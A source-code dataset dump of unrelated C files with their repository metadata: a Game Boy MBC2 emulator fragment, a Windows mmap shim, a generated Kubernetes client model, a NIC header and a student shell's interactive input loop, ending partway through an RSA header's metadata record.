case 0x4000 ... 0x7FFF: /* ROM 1-15 */
result = dmg_cartridge_read_rom(dmg, dmg->memory.mapper.mbc2.rom.bank[1], address - 0x4000);
break;
case 0xA000 ... 0xBFFF: /* RAM 0 */
if (dmg->memory.mapper.mbc2.ram.enabled)
{
result = 0xF0 | dmg->memory.mapper.mbc2.ram.data[(address - 0xA000) % 512];
}
break;
default:
break;
}
return result;
}
void dmg_mbc2_write(dmg_t const dmg, uint16_t address, uint8_t value)
{
switch (address)
{
case 0x0000 ... 0x3FFF: /* RAM ENABLE/ROM BANK */
if (address & 0x100)
{ /* ROM BANK */
dmg->memory.mapper.mbc2.bank.rom = value;
dmg_mbc2_update(dmg);
}
else
{ /* RAM ENABLE */
dmg->memory.mapper.mbc2.ram.enabled = ((value & 0x0F) == 0x0A);
}
break;
case 0xA000 ... 0xBFFF: /* RAM 0 */
if (dmg->memory.mapper.mbc2.ram.enabled)
{
dmg->memory.mapper.mbc2.ram.data[(address - 0xA000) % 512] = 0xF0 | value;
}
default:
break;
}
}
| 2.484375 | 2 |
2024-11-18T22:25:51.304206+00:00 | 2023-08-20T17:38:53 | 195c4cf78c36acb6dc113459bae96d2cace80da9 | {
"blob_id": "195c4cf78c36acb6dc113459bae96d2cace80da9",
"branch_name": "refs/heads/main",
"committer_date": "2023-08-20T17:38:53",
"content_id": "955ab8b67efcf401733837563093158e810d4e4c",
"detected_licenses": [
"Apache-2.0"
],
"directory_id": "1a47fe8a56854bfad6b54917ff04885c49538bd5",
"extension": "h",
"filename": "mman.h",
"fork_events_count": 1230,
"gha_created_at": "2013-04-01T20:29:40",
"gha_event_created_at": "2023-08-20T17:38:55",
"gha_language": "C++",
"gha_license_id": "Apache-2.0",
"github_id": 9155431,
"is_generated": false,
"is_vendor": false,
"language": "C",
"length_bytes": 5791,
"license": "Apache-2.0",
"license_type": "permissive",
"path": "/src/mman.h",
"provenance": "stackv2-0115.json.gz:143608",
"repo_name": "spotify/annoy",
"revision_date": "2023-08-20T17:38:53",
"revision_id": "2be37c9e015544be2cf60c431f0cccc076151a2d",
"snapshot_id": "02b4c866ed819140969bd9835f1ed0afc299d5c7",
"src_encoding": "UTF-8",
"star_events_count": 11966,
"url": "https://raw.githubusercontent.com/spotify/annoy/2be37c9e015544be2cf60c431f0cccc076151a2d/src/mman.h",
"visit_date": "2023-09-03T03:31:28.329246"
} | stackv2 |
// This is from https://code.google.com/p/mman-win32/
//
// Licensed under MIT
#ifndef _MMAN_WIN32_H
#define _MMAN_WIN32_H
#ifndef _WIN32_WINNT // Allow use of features specific to Windows XP or later.
#define _WIN32_WINNT 0x0501 // Change this to the appropriate value to target other versions of Windows.
#endif
#include <sys/types.h>
#include <windows.h>
#include <errno.h>
#include <io.h>
#define PROT_NONE 0
#define PROT_READ 1
#define PROT_WRITE 2
#define PROT_EXEC 4
#define MAP_FILE 0
#define MAP_SHARED 1
#define MAP_PRIVATE 2
#define MAP_TYPE 0xf
#define MAP_FIXED 0x10
#define MAP_ANONYMOUS 0x20
#define MAP_ANON MAP_ANONYMOUS
#define MAP_FAILED ((void *)-1)
/* Flags for msync. */
#define MS_ASYNC 1
#define MS_SYNC 2
#define MS_INVALIDATE 4
#ifndef FILE_MAP_EXECUTE
#define FILE_MAP_EXECUTE 0x0020
#endif
static int __map_mman_error(const DWORD err, const int deferr)
{
if (err == 0)
return 0;
//TODO: implement
return err;
}
static DWORD __map_mmap_prot_page(const int prot)
{
DWORD protect = 0;
if (prot == PROT_NONE)
return protect;
if ((prot & PROT_EXEC) != 0)
{
protect = ((prot & PROT_WRITE) != 0) ?
PAGE_EXECUTE_READWRITE : PAGE_EXECUTE_READ;
}
else
{
protect = ((prot & PROT_WRITE) != 0) ?
PAGE_READWRITE : PAGE_READONLY;
}
return protect;
}
static DWORD __map_mmap_prot_file(const int prot)
{
DWORD desiredAccess = 0;
if (prot == PROT_NONE)
return desiredAccess;
if ((prot & PROT_READ) != 0)
desiredAccess |= FILE_MAP_READ;
if ((prot & PROT_WRITE) != 0)
desiredAccess |= FILE_MAP_WRITE;
if ((prot & PROT_EXEC) != 0)
desiredAccess |= FILE_MAP_EXECUTE;
return desiredAccess;
}
inline void* mmap(void *addr, size_t len, int prot, int flags, int fildes, off_t off)
{
HANDLE fm, h;
void * map = MAP_FAILED;
#ifdef _MSC_VER
#pragma warning(push)
#pragma warning(disable: 4293)
#endif
const DWORD dwFileOffsetLow = (sizeof(off_t) <= sizeof(DWORD)) ?
(DWORD)off : (DWORD)(off & 0xFFFFFFFFL);
const DWORD dwFileOffsetHigh = (sizeof(off_t) <= sizeof(DWORD)) ?
(DWORD)0 : (DWORD)((off >> 32) & 0xFFFFFFFFL);
const DWORD protect = __map_mmap_prot_page(prot);
const DWORD desiredAccess = __map_mmap_prot_file(prot);
const off_t maxSize = off + (off_t)len;
const DWORD dwMaxSizeLow = (sizeof(off_t) <= sizeof(DWORD)) ?
(DWORD)maxSize : (DWORD)(maxSize & 0xFFFFFFFFL);
const DWORD dwMaxSizeHigh = (sizeof(off_t) <= sizeof(DWORD)) ?
(DWORD)0 : (DWORD)((maxSize >> 32) & 0xFFFFFFFFL);
#ifdef _MSC_VER
#pragma warning(pop)
#endif
errno = 0;
if (len == 0
/* Unsupported flag combinations */
|| (flags & MAP_FIXED) != 0
/* Usupported protection combinations */
|| prot == PROT_EXEC)
{
errno = EINVAL;
return MAP_FAILED;
}
h = ((flags & MAP_ANONYMOUS) == 0) ?
(HANDLE)_get_osfhandle(fildes) : INVALID_HANDLE_VALUE;
if ((flags & MAP_ANONYMOUS) == 0 && h == INVALID_HANDLE_VALUE)
{
errno = EBADF;
return MAP_FAILED;
}
fm = CreateFileMapping(h, NULL, protect, dwMaxSizeHigh, dwMaxSizeLow, NULL);
if (fm == NULL)
{
errno = __map_mman_error(GetLastError(), EPERM);
return MAP_FAILED;
}
map = MapViewOfFile(fm, desiredAccess, dwFileOffsetHigh, dwFileOffsetLow, len);
CloseHandle(fm);
if (map == NULL)
{
errno = __map_mman_error(GetLastError(), EPERM);
return MAP_FAILED;
}
return map;
}
inline int munmap(void *addr, size_t len)
{
if (UnmapViewOfFile(addr))
return 0;
errno = __map_mman_error(GetLastError(), EPERM);
return -1;
}
inline int mprotect(void *addr, size_t len, int prot)
{
DWORD newProtect = __map_mmap_prot_page(prot);
DWORD oldProtect = 0;
if (VirtualProtect(addr, len, newProtect, &oldProtect))
return 0;
errno = __map_mman_error(GetLastError(), EPERM);
return -1;
}
inline int msync(void *addr, size_t len, int flags)
{
if (FlushViewOfFile(addr, len))
return 0;
errno = __map_mman_error(GetLastError(), EPERM);
return -1;
}
inline int mlock(const void *addr, size_t len)
{
if (VirtualLock((LPVOID)addr, len))
return 0;
errno = __map_mman_error(GetLastError(), EPERM);
return -1;
}
inline int munlock(const void *addr, size_t len)
{
if (VirtualUnlock((LPVOID)addr, len))
return 0;
errno = __map_mman_error(GetLastError(), EPERM);
return -1;
}
#if !defined(__MINGW32__)
inline int ftruncate(const int fd, const int64_t size) {
if (fd < 0) {
errno = EBADF;
return -1;
}
HANDLE h = reinterpret_cast<HANDLE>(_get_osfhandle(fd));
LARGE_INTEGER li_start, li_size;
li_start.QuadPart = static_cast<int64_t>(0);
li_size.QuadPart = size;
if (SetFilePointerEx(h, li_start, NULL, FILE_CURRENT) == ~0 ||
SetFilePointerEx(h, li_size, NULL, FILE_BEGIN) == ~0 ||
!SetEndOfFile(h)) {
unsigned long error = GetLastError();
fprintf(stderr, "I/O error while truncating: %lu\n", error);
switch (error) {
case ERROR_INVALID_HANDLE:
errno = EBADF;
break;
default:
errno = EIO;
break;
}
return -1;
}
return 0;
}
#endif
#endif
| 2.109375 | 2 |
2024-11-18T22:25:51.369588+00:00 | 2021-03-17T07:29:19 | 669219f1c041c1e6bc56d9ae4c364b5a194aa7d6 | {
"blob_id": "669219f1c041c1e6bc56d9ae4c364b5a194aa7d6",
"branch_name": "refs/heads/master",
"committer_date": "2021-03-17T07:29:19",
"content_id": "bba704b43ae5c9d3c6b622d561e04ca290784ca3",
"detected_licenses": [
"curl",
"Apache-2.0"
],
"directory_id": "546018757d22ae76154b87335db68e1cfabfedcb",
"extension": "c",
"filename": "io_k8s_api_authorization_v1beta1_subject_access_review.c",
"fork_events_count": 0,
"gha_created_at": null,
"gha_event_created_at": null,
"gha_language": null,
"gha_license_id": null,
"github_id": 346627883,
"is_generated": false,
"is_vendor": false,
"language": "C",
"length_bytes": 8787,
"license": "curl,Apache-2.0",
"license_type": "permissive",
"path": "/kubernetes/model/io_k8s_api_authorization_v1beta1_subject_access_review.c",
"provenance": "stackv2-0115.json.gz:143737",
"repo_name": "zouxiaoliang/nerv-kubernetes-client-c",
"revision_date": "2021-03-17T07:29:19",
"revision_id": "07528948c643270fd757d38edc68da8c9628ee7a",
"snapshot_id": "45f1bca75b6265395f144d71bf6866de7b69bc25",
"src_encoding": "UTF-8",
"star_events_count": 0,
"url": "https://raw.githubusercontent.com/zouxiaoliang/nerv-kubernetes-client-c/07528948c643270fd757d38edc68da8c9628ee7a/kubernetes/model/io_k8s_api_authorization_v1beta1_subject_access_review.c",
"visit_date": "2023-03-16T09:31:03.072968"
} | stackv2 | #include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include "io_k8s_api_authorization_v1beta1_subject_access_review.h"
io_k8s_api_authorization_v1beta1_subject_access_review_t *io_k8s_api_authorization_v1beta1_subject_access_review_create(
char *api_version,
char *kind,
io_k8s_apimachinery_pkg_apis_meta_v1_object_meta_t *metadata,
io_k8s_api_authorization_v1beta1_subject_access_review_spec_t *spec,
io_k8s_api_authorization_v1beta1_subject_access_review_status_t *status
) {
io_k8s_api_authorization_v1beta1_subject_access_review_t *io_k8s_api_authorization_v1beta1_subject_access_review_local_var = malloc(sizeof(io_k8s_api_authorization_v1beta1_subject_access_review_t));
if (!io_k8s_api_authorization_v1beta1_subject_access_review_local_var) {
return NULL;
}
io_k8s_api_authorization_v1beta1_subject_access_review_local_var->api_version = api_version;
io_k8s_api_authorization_v1beta1_subject_access_review_local_var->kind = kind;
io_k8s_api_authorization_v1beta1_subject_access_review_local_var->metadata = metadata;
io_k8s_api_authorization_v1beta1_subject_access_review_local_var->spec = spec;
io_k8s_api_authorization_v1beta1_subject_access_review_local_var->status = status;
return io_k8s_api_authorization_v1beta1_subject_access_review_local_var;
}
void io_k8s_api_authorization_v1beta1_subject_access_review_free(io_k8s_api_authorization_v1beta1_subject_access_review_t *io_k8s_api_authorization_v1beta1_subject_access_review) {
if(NULL == io_k8s_api_authorization_v1beta1_subject_access_review){
return ;
}
listEntry_t *listEntry;
if (io_k8s_api_authorization_v1beta1_subject_access_review->api_version) {
free(io_k8s_api_authorization_v1beta1_subject_access_review->api_version);
io_k8s_api_authorization_v1beta1_subject_access_review->api_version = NULL;
}
if (io_k8s_api_authorization_v1beta1_subject_access_review->kind) {
free(io_k8s_api_authorization_v1beta1_subject_access_review->kind);
io_k8s_api_authorization_v1beta1_subject_access_review->kind = NULL;
}
if (io_k8s_api_authorization_v1beta1_subject_access_review->metadata) {
io_k8s_apimachinery_pkg_apis_meta_v1_object_meta_free(io_k8s_api_authorization_v1beta1_subject_access_review->metadata);
io_k8s_api_authorization_v1beta1_subject_access_review->metadata = NULL;
}
if (io_k8s_api_authorization_v1beta1_subject_access_review->spec) {
io_k8s_api_authorization_v1beta1_subject_access_review_spec_free(io_k8s_api_authorization_v1beta1_subject_access_review->spec);
io_k8s_api_authorization_v1beta1_subject_access_review->spec = NULL;
}
if (io_k8s_api_authorization_v1beta1_subject_access_review->status) {
io_k8s_api_authorization_v1beta1_subject_access_review_status_free(io_k8s_api_authorization_v1beta1_subject_access_review->status);
io_k8s_api_authorization_v1beta1_subject_access_review->status = NULL;
}
free(io_k8s_api_authorization_v1beta1_subject_access_review);
}
cJSON *io_k8s_api_authorization_v1beta1_subject_access_review_convertToJSON(io_k8s_api_authorization_v1beta1_subject_access_review_t *io_k8s_api_authorization_v1beta1_subject_access_review) {
cJSON *item = cJSON_CreateObject();
// io_k8s_api_authorization_v1beta1_subject_access_review->api_version
if(io_k8s_api_authorization_v1beta1_subject_access_review->api_version) {
if(cJSON_AddStringToObject(item, "apiVersion", io_k8s_api_authorization_v1beta1_subject_access_review->api_version) == NULL) {
goto fail; //String
}
}
// io_k8s_api_authorization_v1beta1_subject_access_review->kind
if(io_k8s_api_authorization_v1beta1_subject_access_review->kind) {
if(cJSON_AddStringToObject(item, "kind", io_k8s_api_authorization_v1beta1_subject_access_review->kind) == NULL) {
goto fail; //String
}
}
// io_k8s_api_authorization_v1beta1_subject_access_review->metadata
if(io_k8s_api_authorization_v1beta1_subject_access_review->metadata) {
cJSON *metadata_local_JSON = io_k8s_apimachinery_pkg_apis_meta_v1_object_meta_convertToJSON(io_k8s_api_authorization_v1beta1_subject_access_review->metadata);
if(metadata_local_JSON == NULL) {
goto fail; //model
}
cJSON_AddItemToObject(item, "metadata", metadata_local_JSON);
if(item->child == NULL) {
goto fail;
}
}
// io_k8s_api_authorization_v1beta1_subject_access_review->spec
if (!io_k8s_api_authorization_v1beta1_subject_access_review->spec) {
goto fail;
}
cJSON *spec_local_JSON = io_k8s_api_authorization_v1beta1_subject_access_review_spec_convertToJSON(io_k8s_api_authorization_v1beta1_subject_access_review->spec);
if(spec_local_JSON == NULL) {
goto fail; //model
}
cJSON_AddItemToObject(item, "spec", spec_local_JSON);
if(item->child == NULL) {
goto fail;
}
// io_k8s_api_authorization_v1beta1_subject_access_review->status
if(io_k8s_api_authorization_v1beta1_subject_access_review->status) {
cJSON *status_local_JSON = io_k8s_api_authorization_v1beta1_subject_access_review_status_convertToJSON(io_k8s_api_authorization_v1beta1_subject_access_review->status);
if(status_local_JSON == NULL) {
goto fail; //model
}
cJSON_AddItemToObject(item, "status", status_local_JSON);
if(item->child == NULL) {
goto fail;
}
}
return item;
fail:
if (item) {
cJSON_Delete(item);
}
return NULL;
}
io_k8s_api_authorization_v1beta1_subject_access_review_t *io_k8s_api_authorization_v1beta1_subject_access_review_parseFromJSON(cJSON *io_k8s_api_authorization_v1beta1_subject_access_reviewJSON){
io_k8s_api_authorization_v1beta1_subject_access_review_t *io_k8s_api_authorization_v1beta1_subject_access_review_local_var = NULL;
// io_k8s_api_authorization_v1beta1_subject_access_review->api_version
cJSON *api_version = cJSON_GetObjectItemCaseSensitive(io_k8s_api_authorization_v1beta1_subject_access_reviewJSON, "apiVersion");
if (api_version) {
if(!cJSON_IsString(api_version))
{
goto end; //String
}
}
// io_k8s_api_authorization_v1beta1_subject_access_review->kind
cJSON *kind = cJSON_GetObjectItemCaseSensitive(io_k8s_api_authorization_v1beta1_subject_access_reviewJSON, "kind");
if (kind) {
if(!cJSON_IsString(kind))
{
goto end; //String
}
}
// io_k8s_api_authorization_v1beta1_subject_access_review->metadata
cJSON *metadata = cJSON_GetObjectItemCaseSensitive(io_k8s_api_authorization_v1beta1_subject_access_reviewJSON, "metadata");
io_k8s_apimachinery_pkg_apis_meta_v1_object_meta_t *metadata_local_nonprim = NULL;
if (metadata) {
metadata_local_nonprim = io_k8s_apimachinery_pkg_apis_meta_v1_object_meta_parseFromJSON(metadata); //nonprimitive
}
// io_k8s_api_authorization_v1beta1_subject_access_review->spec
cJSON *spec = cJSON_GetObjectItemCaseSensitive(io_k8s_api_authorization_v1beta1_subject_access_reviewJSON, "spec");
if (!spec) {
goto end;
}
io_k8s_api_authorization_v1beta1_subject_access_review_spec_t *spec_local_nonprim = NULL;
spec_local_nonprim = io_k8s_api_authorization_v1beta1_subject_access_review_spec_parseFromJSON(spec); //nonprimitive
// io_k8s_api_authorization_v1beta1_subject_access_review->status
cJSON *status = cJSON_GetObjectItemCaseSensitive(io_k8s_api_authorization_v1beta1_subject_access_reviewJSON, "status");
io_k8s_api_authorization_v1beta1_subject_access_review_status_t *status_local_nonprim = NULL;
if (status) {
status_local_nonprim = io_k8s_api_authorization_v1beta1_subject_access_review_status_parseFromJSON(status); //nonprimitive
}
io_k8s_api_authorization_v1beta1_subject_access_review_local_var = io_k8s_api_authorization_v1beta1_subject_access_review_create (
api_version ? strdup(api_version->valuestring) : NULL,
kind ? strdup(kind->valuestring) : NULL,
metadata ? metadata_local_nonprim : NULL,
spec_local_nonprim,
status ? status_local_nonprim : NULL
);
return io_k8s_api_authorization_v1beta1_subject_access_review_local_var;
end:
if (metadata_local_nonprim) {
io_k8s_apimachinery_pkg_apis_meta_v1_object_meta_free(metadata_local_nonprim);
metadata_local_nonprim = NULL;
}
if (spec_local_nonprim) {
io_k8s_api_authorization_v1beta1_subject_access_review_spec_free(spec_local_nonprim);
spec_local_nonprim = NULL;
}
if (status_local_nonprim) {
io_k8s_api_authorization_v1beta1_subject_access_review_status_free(status_local_nonprim);
status_local_nonprim = NULL;
}
return NULL;
}
| 2 | 2 |
2024-11-18T22:25:51.797024+00:00 | 2015-07-02T05:34:34 | 50495b85e224aa709a1b9ddf1be8b2522b37f66e | {
"blob_id": "50495b85e224aa709a1b9ddf1be8b2522b37f66e",
"branch_name": "refs/heads/master",
"committer_date": "2015-07-02T05:34:34",
"content_id": "a7c279efce0d469704b3588178c89205abe16b8e",
"detected_licenses": [
"BSD-4-Clause-UC"
],
"directory_id": "b2548b939292f4986ab3049e74610a233e7bbfc7",
"extension": "h",
"filename": "nic_common.h",
"fork_events_count": 0,
"gha_created_at": null,
"gha_event_created_at": null,
"gha_language": null,
"gha_license_id": null,
"github_id": null,
"is_generated": false,
"is_vendor": false,
"language": "C",
"length_bytes": 1661,
"license": "BSD-4-Clause-UC",
"license_type": "permissive",
"path": "/sparc-ros-gcc/kern/arch/i686/nic_common.h",
"provenance": "stackv2-0115.json.gz:143999",
"repo_name": "qiqiu123/rampgold_fixed",
"revision_date": "2015-07-02T05:34:34",
"revision_id": "61d0f9e8b5702c16a05c147cc0bc2dfccd0ad704",
"snapshot_id": "455f8d6b9de2cb35898998f836ea8b1ffa95e7da",
"src_encoding": "UTF-8",
"star_events_count": 0,
"url": "https://raw.githubusercontent.com/qiqiu123/rampgold_fixed/61d0f9e8b5702c16a05c147cc0bc2dfccd0ad704/sparc-ros-gcc/kern/arch/i686/nic_common.h",
"visit_date": "2021-05-29T06:15:43.223098"
} | stackv2 | #ifndef ROS_INC_NIC_COMMON_H
#define ROS_INC_NIC_COMMON_H
#include <ros/common.h>
#include <trap.h>
#include <pmap.h>
// Packet sizes
#define MTU 1500
#define MAX_FRAME_SIZE (MTU + 14)
#define MIN_FRAME_SIZE 60 // See the spec...
// Maximum packet buffers we can handle at any given time
#define MAX_PACKET_BUFFERS 1024
// Global send_frame function pointer
// Means we can only have one network card per system right now...
extern int (*send_frame)(const char *data, size_t len);
// Global variables for managing ethernet packets over a nic
// Again, since these are global for all network cards we are
// limited to only one for now
extern char device_mac[6];
extern uint8_t eth_up;
extern uint32_t num_packet_buffers;
extern char* packet_buffers[MAX_PACKET_BUFFERS];
extern uint32_t packet_buffers_sizes[MAX_PACKET_BUFFERS];
extern uint32_t packet_buffers_head;
extern uint32_t packet_buffers_tail;
extern spinlock_t packet_buffers_lock;
// Host to network format conversions and vice-versa
static inline uint16_t htons(uint16_t x)
{
__asm__ ("xchgb %%al,%%ah" : "=a" (x) : "a" (x));
return x;
}
static inline uint32_t htonl(uint32_t x)
{
__asm__ ("bswapl %0" : "=r" (x) : "0" (x));
return x;
}
#define ntohs htons
#define ntohl htonl
// Creates a new ethernet packet and puts the header on it
char* eth_wrap(const char* data, size_t len, char src_mac[6],
char dest_mac[6], uint16_t eth_type);
struct ETH_Header {
char dest_mac[6];
char source_mac[6];
uint16_t eth_type;
};
struct eth_frame {
struct ETH_Header eth_head;
char data[MTU];
} __attribute__((packed));
#endif /* !ROS_INC_NIC_COMMON_H */
| 2.234375 | 2 |
2024-11-18T22:25:52.481351+00:00 | 2020-06-04T09:30:48 | 1c35f24db6fb3410ed50a6dfa67f001328c3f100 | {
"blob_id": "1c35f24db6fb3410ed50a6dfa67f001328c3f100",
"branch_name": "refs/heads/master",
"committer_date": "2020-06-04T09:30:48",
"content_id": "2e7a5fa46090e6927729a77b24742abcb7b43432",
"detected_licenses": [
"MIT"
],
"directory_id": "4d8b9f85f8f44ad236de87acd78e8dc2bdb8b48d",
"extension": "c",
"filename": "main_utils.c",
"fork_events_count": 0,
"gha_created_at": null,
"gha_event_created_at": null,
"gha_language": null,
"gha_license_id": null,
"github_id": 249492123,
"is_generated": false,
"is_vendor": false,
"language": "C",
"length_bytes": 13214,
"license": "MIT",
"license_type": "permissive",
"path": "/src/utils/main_utils.c",
"provenance": "stackv2-0115.json.gz:144645",
"repo_name": "TristanBilot/42sh",
"revision_date": "2020-06-04T09:30:48",
"revision_id": "9e956c59e2efdbd35ad17367fda30ae78c772abe",
"snapshot_id": "0bc90f2e8bfd3acf71e2a500a2ad4c8639f4c479",
"src_encoding": "UTF-8",
"star_events_count": 0,
"url": "https://raw.githubusercontent.com/TristanBilot/42sh/9e956c59e2efdbd35ad17367fda30ae78c772abe/src/utils/main_utils.c",
"visit_date": "2022-09-24T11:01:38.851594"
} | stackv2 | #include "../main.h"
bool after_sig = false;
struct file_manager *file_manager;
void init_42sh_with_history(void)
{
signal(SIGINT, sighandler);
struct lexer *lexer = NULL;
struct node_input *ast = NULL;
struct history *history = open_history();
file_manager = init_file_manager();
if (option->cmd)
{
if ((lexer = new_lexer(option->cmd)))
{
ast = parse(lexer);
exec_node_input(ast);
if (option->print_ast_flag)
print_ast(ast);
}
free_garbage_collector();
return;
}
else
{
int char_after_start = 0;
char *line = NULL;
struct buffer *buffer = new_buffer();
if (print_prompt() == 1)
return;
if (!option->norc_flag)
{
char *path = xmalloc(strlen(getenv("HOME")) + 9);
path = strcpy(path, getenv("HOME"));
path = strcat(path, "/.42shrc");
load_file(path, true);
load_file("/etc/42shrc", true);
}
else if (option->file_path)
load_file(option->file_path, true);
int c;
if (after_sig)
return;
while ((c = getch2()) != 4)
{
if (after_sig)
return;
if (c == 91) // top arrow
{
/*
** Top arrow : "[A"
** Down arrow : "[B"
** Right arrow : "[C"
** Left arrow : "[D"
** Cette partie vérifie le 2eme caractère
** Si A/B/C/D, le A n'a pas besoin d'être append au buffer ni afficher
** et on exécute les flèches
** Sinon, on rajoute le '[' et le deuxième caractère au buffer et on les affiche
*/
if ((c = getch2()) == 65)
{
/*
** Efface l'input actuelle affichée sur le shell
** Problème : besoin de rajouter un printf avant sinon ça bug
*/
printf("a");
int idx = buffer->index;
int cas = char_after_start;
while (idx < cas)
{
putchar('a');
idx++;
}
while (char_after_start > 0)
{
char_after_start--;
delete_last_character();
}
/*
** Retire l'ancienne input du buffer
*/
flush(buffer);
/*
** Récupère l'history
** Affiche et ajoute caractère par caractère la nouvelle input (history)
*/
char *command = write_next_history(history);
if (command)
{
for (size_t i = 0; i < strlen(command); i++)
{
putchar(command[i]);
char_after_start++;
append_buffer(buffer, command[i]);
}
}
continue;
}
else if (c == 66)
{
// down arrow
/*
** Efface l'input actuelle affichée sur le shell
** Problème : besoin de rajouter un printf avant sinon ça bug
*/
printf("a");
int idx = buffer->index;
int cas = char_after_start;
while (idx < cas)
{
putchar('a');
idx++;
}
while (char_after_start > 0)
{
char_after_start--;
delete_last_character();
}
/*
** Retire l'ancienne input du buffer
*/
flush(buffer);
/*
** Récupère l'history
** Affiche et ajoute caractère par caractère la nouvelle input (history)
*/
char *command = write_prev_history(history);
if (command)
{
for (size_t i = 0; i < strlen(command); i++)
{
putchar(command[i]);
char_after_start++;
append_buffer(buffer, command[i]);
}
}
continue;
}
else if (c == 67)
{
// right arrow
if (buffer->index < char_after_start)
{
putchar('a');
putchar(buffer->buf[buffer->index]);
buffer->index++;
}
else
putchar('a');
continue;
}
else if (c == 68)
{
if (buffer->index > 0)
{
buffer->index--;
putchar('\b');
}
putchar('a');
continue;
}
append_buffer(buffer, 91);
putchar(91);
char_after_start++;
append_buffer(buffer, c);
putchar(c);
char_after_start++;
continue;
}
else if (c == '\n')
{
char *new = xcalloc(1, MAX_STR_LEN);
strcpy(new, buffer->buf);
append_history_command(history, new);
putchar('\n');
append_buffer(buffer, '\n');
if ((lexer = new_lexer(new)))
{
flush(buffer);
ast = parse(lexer);
exec_node_input(ast);
if (after_sig)
return;
if (option->print_ast_flag)
print_ast(ast);
}
flush(buffer);
print_prompt();
char_after_start = 0;
continue;
}
else if (c == 127) // delete
{
if (buffer->index > 0)
{
if (buffer->index < char_after_start)
{
putchar('\b');
for (int i = buffer->index - 1;
i <= char_after_start + 1;
i++)
{
buffer->buf[i] = buffer->buf[i + 1];
putchar(buffer->buf[i]);
}
putchar(' ');
for (int i = buffer->index; i <= char_after_start;
i++)
putchar('\b');
char_after_start--;
buffer->index--;
}
else
{
delete_last_character();
char_after_start--;
buffer->buf[--buffer->index] = '\0';
}
}
}
else if (c == 4) // Ctrl+D
{
free_garbage_collector();
putchar('\n');
return;
}
else if (c == 9) // Tabulation
{
char *best_fit = get_auto_completion(history, buffer->buf);
if (best_fit)
{
while (char_after_start--)
delete_last_character();
flush(buffer);
for (size_t i = 0; i < strlen(best_fit); i++)
{
putchar(best_fit[i]);
char_after_start++;
append_buffer(buffer, best_fit[i]);
}
// append_string_to_buffer(buffer, best_fit);
}
}
else
{
putchar(c);
if (c != 27)
{
if (buffer->index < char_after_start)
{
for (int i = char_after_start; i > buffer->index; i--)
buffer->buf[i] = buffer->buf[i - 1];
buffer->buf[buffer->index++] = c;
for (int i = buffer->index; i <= char_after_start;
i++)
putchar(buffer->buf[i]);
for (int i = buffer->index; i <= char_after_start;
i++)
putchar('\b');
}
else
append_buffer(buffer, c);
char_after_start++;
}
}
}
if (line)
free(line);
printf("\n");
}
}
void init_42sh_without_history(void)
{
signal(SIGINT, sighandler_without);
struct lexer *lexer = NULL;
struct node_input *ast = NULL;
file_manager = init_file_manager();
// if (!option->norc_flag)
// {
// char *path = xmalloc(strlen(getenv("HOME")) + 9);
// path = strcpy(path, getenv("HOME"));
// path = strcat(path, "/.42shrc");
// load_file(path, true);
// load_file("/etc/42shrc", true);
// }
// else if (option->file_path)
// load_file(option->file_path, true);
if (option->cmd)
{
if ((lexer = new_lexer(option->cmd)))
{
ast = parse(lexer);
exec_node_input(ast);
if (option->print_ast_flag)
print_ast(ast);
}
free_garbage_collector();
}
else
{
char *line = NULL;
size_t len = 0;
ssize_t read;
while ((read = getline(&line, &len, stdin)) != -1)
{
if ((lexer = new_lexer(line)))
{
ast = parse(lexer);
exec_node_input(ast);
if (option->print_ast_flag)
print_ast(ast);
}
close(0);
}
if (line)
free(line);
}
}
void print_usage(void)
{
fprintf(stdout, USAGE);
exit(1);
}
int print_prompt(void)
{
char *buff = NULL;
if ((buff = getcwd(NULL, 0)) == NULL)
exit(1);
if (isatty(STDIN_FILENO) == 1)
{
dprintf(0, "%s[%s%s%s", START_COLOR, CYAN, buff, END_COLOR);
dprintf(0, "%s[%s %s> %s", START_COLOR, CYAN, BLINK, END_COLOR);
}
else
{
init_42sh_without_history();
free(buff);
return 1;
}
free(buff);
return 0;
}
int file_exists(const char *filename)
{
/* try to open file to read */
FILE *file;
file = fopen(filename, "r");
if (file)
{
fclose(file);
return 1;
}
return 0;
}
void delete_last_character(void)
{
putchar('\b'); // se place sur le dernier caractère
putchar(' '); // le remplace temporairement par un espace
putchar('\b'); // se place sur l'espace pour qu'il soit écrasé par le prochain caractère
}
void sighandler(int signum)
{
(void) signum;
if (file_manager->fd_to_close != -1)
{
close(file_manager->fd_to_close);
fclose(file_manager->file);
}
dup2(file_manager->save_in, 0);
dup2(file_manager->save_out, 1);
dup2(file_manager->save_err, 2);
free_garbage_collector();
printf("\n");
init_42sh_with_history();
after_sig = true;
}
void sighandler_without(int signum)
{
(void) signum;
if (file_manager->fd_to_close != -1)
{
close(file_manager->fd_to_close);
fclose(file_manager->file);
}
dup2(file_manager->save_in, 0);
dup2(file_manager->save_out, 1);
dup2(file_manager->save_err, 2);
free_garbage_collector();
printf("\n");
}
int getch2(void)
{
struct termios org_opts;
struct termios new_opts;
int c = 0;
int res = 0;
res = tcgetattr(STDIN_FILENO, &org_opts);
if (res != 0)
{
printf("getch2(): first assertion failed\n");
return -1;
}
//---- set new terminal parms --------
memcpy(&new_opts, &org_opts, sizeof(new_opts));
new_opts.c_lflag &= ~(ICANON | ECHO);
tcsetattr(STDIN_FILENO, TCSANOW, &new_opts);
c = getchar();
//------ restore old settings ---------
res = tcsetattr(STDIN_FILENO, TCSANOW, &org_opts);
if (res != 0)
{
printf("getch2(): first assertion failed\n");
return -1;
}
return(c);
}
| 2.640625 | 3 |
2024-11-18T22:25:52.640334+00:00 | 2017-12-31T14:32:38 | 238cacbf4274eaee0a4caec91d917a19dedc6d6f | {
"blob_id": "238cacbf4274eaee0a4caec91d917a19dedc6d6f",
"branch_name": "refs/heads/master",
"committer_date": "2017-12-31T14:32:38",
"content_id": "abfdcbe1a15588298695c663b1b250956bdc1c29",
"detected_licenses": [
"Apache-2.0"
],
"directory_id": "22c0fa17b13057cffad5feeebbf200c7bab4b410",
"extension": "h",
"filename": "RSA.h",
"fork_events_count": 2,
"gha_created_at": null,
"gha_event_created_at": null,
"gha_language": null,
"gha_license_id": null,
"github_id": 41488166,
"is_generated": false,
"is_vendor": false,
"language": "C",
"length_bytes": 901,
"license": "Apache-2.0",
"license_type": "permissive",
"path": "/RSA2.0/RSA.h",
"provenance": "stackv2-0115.json.gz:144903",
"repo_name": "LiZeC123/RSA",
"revision_date": "2017-12-31T14:32:38",
"revision_id": "d392d77b92dc308c0989494ccae29e9674ad8233",
"snapshot_id": "1a3a3db55d73a8bca1871ad4f65d0c520513b235",
"src_encoding": "GB18030",
"star_events_count": 1,
